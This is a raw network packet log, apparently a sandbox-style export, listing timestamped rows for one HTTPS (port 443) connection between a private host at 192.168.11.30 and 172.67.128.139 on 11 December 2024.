Dec 11, 2024 12:14:58.483659029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.483752966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.485033989 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.485053062 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.485189915 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.485255957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.485255957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.485255957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.485265970 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.485435009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.485435009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.487023115 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.487091064 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.487365961 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.487365961 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.487375975 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.487554073 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.487555027 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.489000082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.489021063 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.489356041 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.489356041 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.489368916 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.491120100 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.491137028 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.491295099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.491295099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.491308928 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.491483927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.491483927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.491483927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.491483927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.493073940 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.493092060 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.493238926 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.493249893 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.493432045 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.493432045 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.493432045 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.493432045 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.494956970 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.494976997 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.495136023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.495136023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.495136023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.495136023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.495153904 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.495507002 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.496721983 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.497160912 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.497179031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.497503042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.497503042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.497503042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.497503042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.497503996 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.497519970 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.499124050 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.499145985 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.499284983 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.499298096 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.499480963 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.499480963 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.499480963 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.499480963 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.500919104 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.500937939 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.501266956 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.501266956 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.501266956 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.501266956 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.501282930 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.503068924 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.503087997 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.503227949 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.503227949 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.503242016 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.503416061 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.503416061 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.505569935 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.505589962 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.505733013 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.505733013 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.505733013 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.505913019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.505913019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.505920887 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.506103992 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.507477999 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.507499933 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.507641077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.507641077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.507654905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.507828951 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.508023977 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.508023977 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.508023977 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.509182930 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.509298086 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.509315968 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.509463072 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.509463072 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.509639978 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.509639978 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.509639978 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.509639978 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.509651899 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.511090040 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.511111975 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.511225939 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.511238098 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.511271954 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.511467934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.511467934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.511467934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.511467934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.511853933 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.512048960 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.514004946 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.514024973 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.514169931 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.514169931 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.514348984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.514542103 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.514542103 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.514549971 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.515798092 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.515819073 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.515914917 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.515927076 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.516160011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.516160011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.516160011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.516160011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.516160011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.518127918 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.518146992 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.518322945 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.518322945 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.518338919 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.518507004 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.518507004 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.520323038 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.520344019 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.520486116 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.520498037 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.520677090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.520678043 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.522192955 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.522222042 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.522300959 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.522342920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.522342920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.522569895 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.522569895 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.522574902 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.522766113 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.566869974 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.726850986 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.726871967 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.727193117 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.727193117 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.727193117 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.727210045 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.727576017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.728621960 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.728641987 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.728786945 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.728969097 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.728969097 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.728981018 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.729161024 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.729161024 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.730771065 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.730791092 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.730935097 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.730935097 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.731113911 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.731113911 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.731113911 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.731122971 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.731304884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.731595039 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.731786966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.731786966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.733380079 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.733400106 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.733529091 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.733758926 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.733758926 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.733769894 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.733949900 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.735505104 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.735523939 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.735847950 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.735847950 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.735861063 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.736007929 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.736795902 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.737566948 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.737586021 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.737725019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.737725019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.737907887 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.737907887 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.737907887 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.737916946 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.738065004 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.739264011 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.739283085 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.739608049 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.739608049 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.739608049 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.739608049 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.739608049 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.739625931 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.739989996 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.741125107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.741729021 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.741748095 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.741887093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.742070913 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.742070913 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.742070913 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.742079973 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.742259979 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.743554115 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.743575096 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.743727922 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.743727922 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.743906021 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.743906021 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.743916035 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.744101048 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.744101048 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.744760990 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.744848967 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.744939089 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.744940042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.745121002 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.745126963 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.745299101 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.746530056 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.746550083 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.746692896 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.746692896 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.746876001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.746876001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.746876001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.746884108 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.747064114 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.748950005 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.748965979 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.749088049 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.749135971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.749135971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.749144077 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.749316931 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.749507904 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.750902891 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.750919104 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.751111031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.751111031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.751126051 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.751295090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.751480103 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.751480103 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.752933025 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.752950907 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.753093004 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.753273010 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.753273964 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.753273964 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.753282070 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.753485918 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.754641056 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.754657030 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.754986048 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.754997969 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.755194902 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.757466078 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.757481098 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.757810116 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.757810116 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.757822990 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.758001089 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.758053064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.759004116 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.759021997 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.759162903 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.759322882 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.759322882 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.759331942 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.759512901 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.759512901 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.759512901 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.761161089 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.761176109 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.761322975 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.761322975 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.761480093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.761480093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.761480093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.761487961 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.761672974 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.763056993 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.763073921 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.763217926 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.763397932 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.763397932 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.763406992 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.763588905 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.765510082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.765525103 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.765852928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.765852928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.765852928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.765866995 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.766046047 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.766046047 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.767632961 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.767648935 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.767796993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.767977953 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.767977953 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.767977953 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.767977953 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.767988920 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.768166065 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.769006014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.769021988 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.769192934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.769192934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.769192934 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.769208908 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.769370079 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.769565105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.769565105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.771766901 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.771784067 CET	443	49832	172.67.128.139	192.168.11.30
